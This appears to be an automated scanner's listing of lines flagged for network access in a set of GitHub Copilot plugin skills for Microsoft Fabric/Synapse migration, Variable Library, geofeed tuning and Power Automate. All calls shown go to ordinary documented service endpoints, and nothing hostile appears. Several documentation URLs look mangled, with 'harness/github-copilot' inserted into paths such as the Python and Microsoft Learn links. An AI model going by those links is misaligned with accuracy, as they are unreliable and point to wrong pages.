f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}" - Network accessline 166
# Get the Fabric Workspace Identity's service principal ID ws_resp = requests.get( - Network accessline 167
ws_resp = requests.get( - Network accessline 168
f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}", - Network accessline 185
resp = requests.put( - Network accessline 186
f"https://management.azure.com{storage_scope}" - Network accessline 248
[Credential-related source omitted] - Network accessline 249
[Credential-related source omitted] - Network accessline 250
[Credential-related source omitted] - Network accessline 289
GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/roleAssignments - Network accessline 296
POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/roleAssignments - Network accessline 315
PATCH https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/roleAssignments/{roleAssignmentId} - Network accessline 326
DELETE https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/roleAssignments/{roleAssignmentId} - Network accessline 338
[Credential-related source omitted] - Network accessline 344
# List all role assignments on the Synapse workspace resp = requests.get( - Network accessline 345
resp = requests.get( - Network accessline 346
f"https://management.azure.com{synapse_scope}" - Network accessline 365
# Note: Synapse Studio RBAC roles (Apache Spark Administrator, Synapse SQL Administrator, # Linked Data Manager, Credential User) are managed via the Synapse RBAC API at # https://{ws}.dev.azuresynapse.net/rbac/roleAssignments — they do NOT - Network accessline 366
# Linked Data Manager, Credential User) are managed via the Synapse RBAC API at # https://{ws}.dev.azuresynapse.net/rbac/roleAssignments — they do NOT appear in ARM # roleAssignments. The mapping below covers Azure RBAC roles only. - Network accessline 367
# https://{ws}.dev.azuresynapse.net/rbac/roleAssignments — they do NOT appear in ARM - Network accessline 394
# Note: Synapse Studio RBAC roles (Apache Spark Administrator, Linked Data Manager, # Credential User) are not exported via ARM. If needed, query the Synapse RBAC API # at https://{ws}.dev.azuresynapse.net/rbac/roleAssignments separately. - Network accessline 396
# at https://{ws}.dev.azuresynapse.net/rbac/roleAssignments separately. - Network accessline 443
[Credential-related source omitted] - Network accessline 458
for pid, entry in principal_roles.items(): resp = requests.post( - Network accessline 459
resp = requests.post( - Network accessline 460
f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/roleAssignments", - Network accessline 477
# Assignment already exists — update instead # First, list existing to get the roleAssignmentId existing = requests.get( - Network accessline 478
# First, list existing to get the roleAssignmentId existing = requests.get( f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/roleAssignments", - Network accessline 479
existing = requests.get( - Network accessline 480
f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/roleAssignments", - Network accessline 483
match = next((a for a in existing if a["principal"]["id"] == pid), None) if match: requests.patch( - Network accessline 484
if match: requests.patch( f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/roleAssignments/{match['id']}", - Network accessline 485
requests.patch( - Network accessline 486
f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/roleAssignments/{match['id']}", - Network accessline 509
# List all Fabric role assignments and compare resp = requests.get( - Network accessline 510
resp = requests.get( - Network accessline 511
f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/roleAssignments", - Network accessline 558
PUT https://management.azure.com/subscriptions/{subId}/resourceGroups/{rg}/providers/Microsoft.KeyVault/vaults/{vaultName}/providers/Microsoft.Authorization/roleAssignments/{assignmentId}?api-version=2022-04-01 - Network accessline 638
for vault_url in vault_secrets: # Extract vault name from URL: https://myvault.vault.azure.net → myvault - Network accessline 639
# Extract vault name from URL: https://myvault.vault.azure.net → myvault - Network accessline 642
# Resolve the vault's resource ID via ARM (try known resource group first, then search) resp = requests.get( - Network accessline 643
resp = requests.get( - Network accessline 644
f"https://management.azure.com/subscriptions/{sub_id}/resourceGroups/{rg}" - Network accessline 651
else: # Search across all resource groups search_resp = requests.get( - Network accessline 652
# Search across all resource groups search_resp = requests.get( f"https://management.azure.com/subscriptions/{sub_id}" - Network accessline 653
search_resp = requests.get( - Network accessline 654
f"https://management.azure.com/subscriptions/{sub_id}" - Network accessline 675
# Get Workspace Identity service principal ID (from S1 Step 4) ws_resp = requests.get( - Network accessline 676
ws_resp = requests.get( - Network accessline 677
f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}", - Network accessline 690
resp = requests.put( - Network accessline 691
f"https://management.azure.com{vault_resource_id}" - Network accessline 756
PATCH https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items/{itemId} - Network accessline 774
POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items/{itemId}/endorse - Network accessline 793
> **Scope**: OneLake RBAC applies to the **Tables/** and **Files/** sections of a Lakehouse. By default, all workspace members can read all data. OneLake RBAC **restricts** access — it's a deny-by-default model once enabled. > > **Automatio - Network accessline 794
> > **Automation note**: OneLake RBAC now has a **public REST API** — [`OneLake Data Access Security`](https://learn.microsoft.com/en-us/rest/api/fabric/core/onelake-data-access-security) provides CRUD operations for data access roles: > - - Network accessline 795
> **Automation note**: OneLake RBAC now has a **public REST API** — [`OneLake Data Access Security`](https://learn.microsoft.com/en-us/rest/api/fabric/core/onelake-data-access-security) provides CRUD operations for data access roles: - Network accessline 1084
> For detailed setup instructions, see [Microsoft Docs: Managed Private Endpoints in Fabric](https://learn.microsoft.com/fabric/security/security-managed-private-endpoints-overview). - Network accessline 1109
> For detailed OPDG installation and configuration, see [Microsoft Docs: On-premises data gateway](https://learn.microsoft.com/data-integration/gateway/service-gateway-install).
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/spark-item-migration.md
- Network accessline 6
> > **Auth tokens** (see [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) for commands): > - Synapse data-plane audience: `https://dev.azuresynapse.net` - Network accessline 7
> **Auth tokens** (see [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) for commands): > - Synapse data-plane audience: `https://dev.azuresynapse.net` > - Fabric audience: `https://api.fabric.mi - Network accessline 8
> - Synapse data-plane audience: `https://dev.azuresynapse.net` - Network accessline 9
> - Fabric audience: `https://api.fabric.microsoft.com` - Network accessline 51
GET https://{workspaceName}.dev.azuresynapse.net/notebooks?api-version=2020-12-01 - Network accessline 213
POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items - Network accessline 252
GET https://{workspaceName}.dev.azuresynapse.net/sparkJobDefinitions?api-version=2020-12-01
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/spark-pool-migration.md
- Network accessline 6
> > **Auth tokens** (see [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) for commands): > - Synapse ARM audience: `https://management.azure.com` - Network accessline 7
> **Auth tokens** (see [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) for commands): > - Synapse ARM audience: `https://management.azure.com` > - Fabric audience: `https://api.fabric.microsoft - Network accessline 8
> - Synapse ARM audience: `https://management.azure.com` - Network accessline 9
> - Fabric audience: `https://api.fabric.microsoft.com` - Network accessline 36
GET https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Synapse/workspaces/{workspaceName}/bigDataPools?api-version=2021-06-01 - Network accessline 45
GET https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Synapse/workspaces/{workspaceName}/bigDataPools/{poolName}?api-version=2021-06-01 - Network accessline 107
**Endpoint**: `POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/environments` - Network accessline 250
**Endpoint**: `POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/environments/{environmentId}/updateDefinition` - Network accessline 261
def update_env_definition(workspace_id, env_id, definition_payload, headers, max_retries=3): """Upload Environment definition with retry for post-creation race condition.""" url = (f"https://api.fabric.microsoft.com/v1/workspaces/{w - Network accessline 262
"""Upload Environment definition with retry for post-creation race condition.""" url = (f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}" f"/environments/{env_id}/updateDefinition") - Network accessline 263
url = (f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}" - Network accessline 264
f"/environments/{env_id}/updateDefinition") for attempt in range(1, max_retries + 1): resp = requests.post(url, headers=headers, json=definition_payload) - Network accessline 265
for attempt in range(1, max_retries + 1): resp = requests.post(url, headers=headers, json=definition_payload) if resp.status_code == 404 and attempt < max_retries: - Network accessline 266
resp = requests.post(url, headers=headers, json=definition_payload) - Network accessline 307
**Endpoint**: `POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/environments/{environmentId}/staging/publish` - Network accessline 313
**Endpoint**: `GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/environments/{environmentId}`
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/utility-api-mapping.md
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/validation-testing.md
- Network accessline 14
> | Phase 3 (SJDs) | V4, V5, V6 | Do not cut over until SJDs pass and the full validation report is green | > > **Auth token**: Use the token-acquisition recipe in [COMMON-CLI § Authentication Recipes](../../../common/COMMON-CLI.md#authenti - Network accessline 16
> **Auth token**: Use the token-acquisition recipe in [COMMON-CLI § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) with audience `https://api.fabric.microsoft.com`. - Network accessline 41
GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/environments/{environmentId} - Network accessline 254
**Endpoint**: `POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items/{notebookId}/jobs/instances?jobType=RunNotebook` - Network accessline 298
**Endpoint**: `POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items/{sjdId}/jobs/instances?jobType=SparkJob`
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/variable-library-cli/references/authoring.md
- Network accessline 5
This reference covers the Variable Library item definition: definition parts, variable types, and create/update by definition. The active value set is item state, not definition, and lives in [operations.md](operations.md). It is grounded i - Network accessline 23
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/variables/1.0.0/schema.json", - Network accessline 24
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/variables/1.0.0/schema.json", - Network accessline 36
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json", - Network accessline 37
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json", - Network accessline 45
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json", - Network accessline 46
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json", - Network accessline 67
Editing a variable's default `value` or a value set override is a definition edit. Selecting the active value set is workspace item state. Deployment intentionally does not overwrite the selected active value set in each stage, and deployme - Network accessline 82
ConnectionReference is a newer advanced type documented in [Variable library connection reference](https://learn.microsoft.com/en-us/fabric/cicd/variable-harness/github-copilot/connection-reference-variable-type). That Learn article shows ` - Network accessline 84
In `variables.json`, a variable's default `value` uses its native JSON type (`true` for Boolean, `1000` for Integer). In `valueSets/*.json`, each `variableOverrides[].value` uses the **same native JSON type as the variable it overrides** (B - Network accessline 95
parts = { "variables.json": { "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/variables/1.0.0/schema.json", - Network accessline 96
"variables.json": { "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/variables/1.0.0/schema.json", "variables": [ - Network accessline 97
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/variables/1.0.0/schema.json", - Network accessline 102
}, "settings.json": { "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json", - Network accessline 103
"settings.json": { "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json", "valueSetsOrder": ["dev", "prod"] - Network accessline 104
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json", - Network accessline 106
}, "valueSets/dev.json": { "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json", - Network accessline 107
"valueSets/dev.json": { "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json", "name": "dev", - Network accessline 108
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json", - Network accessline 112
}, "valueSets/prod.json": { "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json", - Network accessline 113
"valueSets/prod.json": { "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json", "name": "prod", - Network accessline 114
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json", - Network accessline 141
az rest \ --method post \ --resource https://api.fabric.microsoft.com \ - Network accessline 142
--method post \ --resource https://api.fabric.microsoft.com \ --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 143
--resource https://api.fabric.microsoft.com \ - Network accessline 144
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 152
az rest \ --method post \ --resource https://api.fabric.microsoft.com \ - Network accessline 153
--method post \ --resource https://api.fabric.microsoft.com \ --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$VL_ID/getDefinition" \ - Network accessline 154
--resource https://api.fabric.microsoft.com \ - Network accessline 155
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$VL_ID/getDefinition" \ - Network accessline 160
az rest \ --method post \ --resource https://api.fabric.microsoft.com \ - Network accessline 161
--method post \ --resource https://api.fabric.microsoft.com \ --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$VL_ID/updateDefinition" \ - Network accessline 162
--resource https://api.fabric.microsoft.com \ - Network accessline 163
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$VL_ID/updateDefinition" \
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/variable-library-cli/references/consumption.md
- Network accessline 5
This reference defines the Variable Library side of the consumer contract. It cites [Variable Library overview](https://learn.microsoft.com/en-us/fabric/cicd/variable-harness/github-copilot/variable-library-overview), [pipeline integration] - Network accessline 56
The `SetVariable` activity writes to a pipeline variable, so that variable must exist. Per [Set Variable activity](https://learn.microsoft.com/en-us/fabric/data-factory/set-variable-activity), Set Variable operates on an **existing** pipeli - Network accessline 74
> **Number is not supported in pipelines per Microsoft Learn** ([Variable library integration with pipelines](https://learn.microsoft.com/en-us/fabric/data-factory/variable-library-integration-with-data-pipelines#known-limitations)). The `N
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/variable-library-cli/references/operations.md
- Network accessline 5
This reference covers Variable Library specific CI/CD behavior. It cites [Variable Library CI/CD](https://learn.microsoft.com/en-us/fabric/cicd/variable-harness/github-copilot/variable-library-cicd), [Variable Library value sets](https://le - Network accessline 25
az rest \ --method get \ --resource https://api.fabric.microsoft.com \ - Network accessline 26
--method get \ --resource https://api.fabric.microsoft.com \ --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/variableLibraries/$VL_ID" \ - Network accessline 27
--resource https://api.fabric.microsoft.com \ - Network accessline 28
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/variableLibraries/$VL_ID" \ - Network accessline 39
az rest \ --method patch \ --resource https://api.fabric.microsoft.com \ - Network accessline 40
--method patch \ --resource https://api.fabric.microsoft.com \ --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/variableLibraries/$VL_ID" \ - Network accessline 41
--resource https://api.fabric.microsoft.com \ - Network accessline 42
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/variableLibraries/$VL_ID" \ - Network accessline 72
- [fabric-cicd documentation](https://microsoft.github.io/fabric-cicd/) - Network accessline 73
- [Lifecycle Management of the Microsoft Fabric Variable library](https://learn.microsoft.com/en-us/fabric/cicd/variable-harness/github-copilot/variable-library-cicd)
harness/github-copilot/plugins/fastah-ip-geo-tools/skills/geofeed-tuner/references/extended-guide.md
harness/github-copilot/plugins/fastah-ip-geo-tools/skills/geofeed-tuner/references/rfc8805.txt
- Network accessline 49
Information about the current status of this document, any errata, and how to provide feedback on it may be obtained at https://www.rfc-editor.org/info/rfc8805. - Network accessline 51
https://www.rfc-editor.org/info/rfc8805. - Network accessline 58
This document is subject to BCP 78 and the IETF Trust's Legal Provisions Relating to IETF Documents (https://trustee.ietf.org/license-info) in effect on the date of - Network accessline 59
Provisions Relating to IETF Documents (https://trustee.ietf.org/license-info) in effect on the date of publication of this document. Please review these documents - Network accessline 60
(https://trustee.ietf.org/license-info) in effect on the date of - Network accessline 565
[ISO.3166.1alpha2] ISO, "ISO 3166-1 decoding table", <http://www.iso.org/iso/home/standards/country_codes/iso- - Network accessline 566
ISO, "ISO 3166-1 decoding table", <http://www.iso.org/iso/home/standards/country_codes/iso- 3166-1_decoding_table.htm>. - Network accessline 567
<http://www.iso.org/iso/home/standards/country_codes/iso- - Network accessline 570
[ISO.3166.2] ISO, "ISO 3166-2:2007", <http://www.iso.org/iso/home/standards/ - Network accessline 571
ISO, "ISO 3166-2:2007", <http://www.iso.org/iso/home/standards/ country_codes.htm#2012_iso3166-2>. - Network accessline 572
<http://www.iso.org/iso/home/standards/ - Network accessline 576
Requirement Levels", BCP 14, RFC 2119, DOI 10.17487/RFC2119, March 1997, <https://www.rfc-editor.org/info/rfc2119>. - Network accessline 578
<https://www.rfc-editor.org/info/rfc2119>. - Network accessline 580
[RFC3629] Yergeau, F., "UTF-8, a transformation format of ISO 10646", STD 63, RFC 3629, DOI 10.17487/RFC3629, November 2003, <https://www.rfc-editor.org/info/rfc3629>. - Network accessline 582
2003, <https://www.rfc-editor.org/info/rfc3629>. - Network accessline 585
Separated Values (CSV) Files", RFC 4180, DOI 10.17487/RFC4180, October 2005, <https://www.rfc-editor.org/info/rfc4180>. - Network accessline 587
<https://www.rfc-editor.org/info/rfc4180>. - Network accessline 589
[RFC4291] Hinden, R. and S. Deering, "IP Version 6 Addressing Architecture", RFC 4291, DOI 10.17487/RFC4291, February 2006, <https://www.rfc-editor.org/info/rfc4291>. - Network accessline 591
2006, <https://www.rfc-editor.org/info/rfc4291>. - Network accessline 594
(CIDR): The Internet Address Assignment and Aggregation Plan", BCP 122, RFC 4632, DOI 10.17487/RFC4632, August 2006, <https://www.rfc-editor.org/info/rfc4632>. - Network accessline 596
2006, <https://www.rfc-editor.org/info/rfc4632>. - Network accessline 599
Address Text Representation", RFC 5952, DOI 10.17487/RFC5952, August 2010, <https://www.rfc-editor.org/info/rfc5952>. - Network accessline 601
<https://www.rfc-editor.org/info/rfc5952>. - Network accessline 604
Ed., "Hypertext Transfer Protocol (HTTP/1.1): Caching", RFC 7234, DOI 10.17487/RFC7234, June 2014, <https://www.rfc-editor.org/info/rfc7234>. - Network accessline 606
<https://www.rfc-editor.org/info/rfc7234>. - Network accessline 608
[RFC8174] Leiba, B., "Ambiguity of Uppercase vs Lowercase in RFC 2119 Key Words", BCP 14, RFC 8174, DOI 10.17487/RFC8174, May 2017, <https://www.rfc-editor.org/info/rfc8174>. - Network accessline 610
May 2017, <https://www.rfc-editor.org/info/rfc8174>. - Network accessline 615
Edition)", World Wide Web Consortium Recommendation REC- xml-20081126, November 2008, <http://www.w3.org/TR/2008/REC-xml-20081126>. - Network accessline 617
<http://www.w3.org/TR/2008/REC-xml-20081126>. - Network accessline 621
[GEOPRIV] IETF, "Geographic Location/Privacy (geopriv)", <http://datatracker.ietf.org/wg/geopriv/>. - Network accessline 622
<http://datatracker.ietf.org/wg/geopriv/>. - Network accessline 624
[GEO_Google] Google, LLC, "Google Corp Geofeed", <https://www.gstatic.com/geofeed/corp_external>. - Network accessline 626
<https://www.gstatic.com/geofeed/corp_external>. - Network accessline 628
[GEO_ICANN] ICANN, "ICANN Meeting Geolocation Data", <https://meeting-services.icann.org/geo/google.csv>. - Network accessline 630
<https://meeting-services.icann.org/geo/google.csv>. - Network accessline 632
[GEO_IETF] Kumari, W., "IETF Meeting Network Geolocation Data", <https://noc.ietf.org/geo/google.csv>. - Network accessline 633
<https://noc.ietf.org/geo/google.csv>. - Network accessline 635
[GEO_RIPE_NCC] Schepers, M., "RIPE NCC Meeting Geolocation Data", <https://meetings.ripe.net/geo/google.csv>. - Network accessline 637
<https://meetings.ripe.net/geo/google.csv>. - Network accessline 640
Shields, M. and P. Moody, "Google's Python IP address manipulation library", <http://code.google.com/p/ipaddr-py/>. - Network accessline 642
<http://code.google.com/p/ipaddr-py/>. - Network accessline 644
[ISO-GLOSSARY] ISO, "Glossary for ISO 3166", <https://www.iso.org/glossary-for-iso-3166.html>. - Network accessline 646
<https://www.iso.org/glossary-for-iso-3166.html>. - Network accessline 648
[RFC2818] Rescorla, E., "HTTP Over TLS", RFC 2818, DOI 10.17487/RFC2818, May 2000, <https://www.rfc-editor.org/info/rfc2818>. - Network accessline 650
<https://www.rfc-editor.org/info/rfc2818>. - Network accessline 652
[RFC3912] Daigle, L., "WHOIS Protocol Specification", RFC 3912, DOI 10.17487/RFC3912, September 2004, <https://www.rfc-editor.org/info/rfc3912>. - Network accessline 654
<https://www.rfc-editor.org/info/rfc3912>. - Network accessline 657
Format for Presence Information Data Format Location Object (PIDF-LO)", RFC 5139, DOI 10.17487/RFC5139, February 2008, <https://www.rfc-editor.org/info/rfc5139>. - Network accessline 659
February 2008, <https://www.rfc-editor.org/info/rfc5139>. - Network accessline 663
A Document Format for Expressing Privacy Preferences for Location Information", RFC 6772, DOI 10.17487/RFC6772, January 2013, <https://www.rfc-editor.org/info/rfc6772>. - Network accessline 665
January 2013, <https://www.rfc-editor.org/info/rfc6772>. - Network accessline 668
Authorizing Use of Domains in Email, Version 1", RFC 7208, DOI 10.17487/RFC7208, April 2014, <https://www.rfc-editor.org/info/rfc7208>. - Network accessline 670
<https://www.rfc-editor.org/info/rfc7208>. - Network accessline 673
Interchange Format", STD 90, RFC 8259, DOI 10.17487/RFC8259, December 2017, <https://www.rfc-editor.org/info/rfc8259>. - Network accessline 675
<https://www.rfc-editor.org/info/rfc8259>.
harness/github-copilot/plugins/fastah-ip-geo-tools/skills/geofeed-tuner/references/snippets-python3.md
- Network accessline 3
- Use Python 3's built-in [`ipaddress` package](https://docs.python.org/3/harness/github-copilot/ipaddress.html), with `strict=True` passed to constructors where available. - Network accessline 9
- Use the [convenience factory functions in `ipaddress`](https://docs.python.org/3/harness/github-copilot/ipaddress.html#convenience-factory-functions). - Network accessline 30
- Use the strict-form parser [`ipaddress.ip_network(address, strict=True)`](https://docs.python.org/3/harness/github-copilot/ipaddress.html#ipaddress.ip_network).
harness/github-copilot/plugins/fastah-ip-geo-tools/skills/geofeed-tuner/scripts/templates/index.html
- Network accessline 5
<meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Geofeed Tuner Report</title> <link href="https://fonts.googleapis.com/css2?family=Raleway:wght@300;400;600;700&display=swap" rel="stylesheet"> - Network accessline 6
<title>Geofeed Tuner Report</title> <link href="https://fonts.googleapis.com/css2?family=Raleway:wght@300;400;600;700&display=swap" rel="stylesheet"> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.0/f - Network accessline 7
<link href="https://fonts.googleapis.com/css2?family=Raleway:wght@300;400;600;700&display=swap" rel="stylesheet"> - Network accessline 8
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.0/font/bootstrap-icons.css"> - Network accessline 9
<link rel="stylesheet" href="https://unpkg.com/leaflet@1.9.4/dist/leaflet.css" /> - Network accessline 10
<script src="https://unpkg.com/leaflet@1.9.4/dist/leaflet.js"></script> - Network accessline 11
<script src="https://unpkg.com/h3-js@4.1.0/dist/h3-js.umd.js"></script> - Network accessline 1111
* @type {string} */ const API_ENDPOINT = 'https://mcp.fastah.ai/rest/geofeeds/place-search'; - Network accessline 1113
const API_ENDPOINT = 'https://mcp.fastah.ai/rest/geofeeds/place-search'; - Network accessline 1128
const batchRows = rows.slice(i * MAX_BATCH_SIZE, (i + 1) * MAX_BATCH_SIZE); try { const response = await fetch(API_ENDPOINT, { - Network accessline 1129
try { const response = await fetch(API_ENDPOINT, { method: 'POST', - Network accessline 1130
const response = await fetch(API_ENDPOINT, { - Network accessline 1411
L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', { - Network accessline 2025
zoom: 2 }); L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', { - Network accessline 2026
}); L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', { attribution: '\u00a9 <a href="https://www.openstreetmap.org/copyright">OpenStreetMap</a> contributors', - Network accessline 2027
L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', { - Network accessline 2028
attribution: '\u00a9 <a href="https://www.openstreetmap.org/copyright">OpenStreetMap</a> contributors',
harness/github-copilot/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-build/SKILL.md
- Network accessline 21
- A FlowStudio MCP subscription and reachable server are required: https://mcp.flowstudio.app. Also preserve the subscription URL without sentence punctuation: https://mcp.flowstudio.app - Network accessline 22
- Use the MCP endpoint `https://mcp.flowstudio.app/mcp` with a valid JWT in `MCP_TOKEN`; never commit `YOUR_JWT_TOKEN`. - Network accessline 31
3. Resolve connections. Call `list_live_connections(environmentName=ENV)` before asking the user for anything. Keep only `statuses[0].status == "Connected"`, build `conn_map = {connectorName: id}`, and use `search="shared_sharepointonline"` - Network accessline 32
4. Build `connection_references` and `host_templates`. `connectionReferences[connector].connectionName` holds the GUID from `list_live_connections`; each action's `inputs.host.connectionName` or `host.connectionName` uses the map key such a - Network accessline 33
5. Construct the workflow definition with `$schema: "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#"`, `contentVersion: "1.0.0.0"`, `triggers`, `actions`, and optional `definition[" - Network accessline 141
- [FlowStudio MCP subscription](https://mcp.flowstudio.app) - Network accessline 142
- [FlowStudio MCP endpoint](https://mcp.flowstudio.app/mcp) - Network accessline 143
- [Logic Apps workflow definition schema](https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#)
harness/github-copilot/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-build/references/action-patterns-connectors.md
- Network accessline 26
}, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 27
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "table": "MyList", - Network accessline 28
"dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 70
}, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 71
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "table": "MyList", - Network accessline 72
"dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 100
}, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 101
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "table": "MyList", - Network accessline 102
"dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 124
}, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 125
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "table": "MyList", - Network accessline 126
"dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 153
"connectionName": "<connectionName>", "operationId": "CreateFile" }, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 154
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "folderPath": "/My Library/Subfolder", - Network accessline 155
"dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 167
"connectionName": "<connectionName>", "operationId": "GetFileMetadataByPath" }, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 168
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "path": "/My Library/Subfolder/@{variables('filename')}" - Network accessline 169
"dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 179
"connectionName": "<connectionName>", "operationId": "UpdateFile" }, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 180
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "id": "@outputs('Get_File_Metadata_By_Path')?['body/{Identifier}']", - Network accessline 181
"dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 222
}, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 223
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "table": "<list-guid>", - Network accessline 224
"dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 269
}, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/target-site", - Network accessline 270
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/target-site", "parameters/method": "POST", - Network accessline 271
"dataset": "https://mytenant.sharepoint.com/sites/target-site", - Network accessline 315
}, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 316
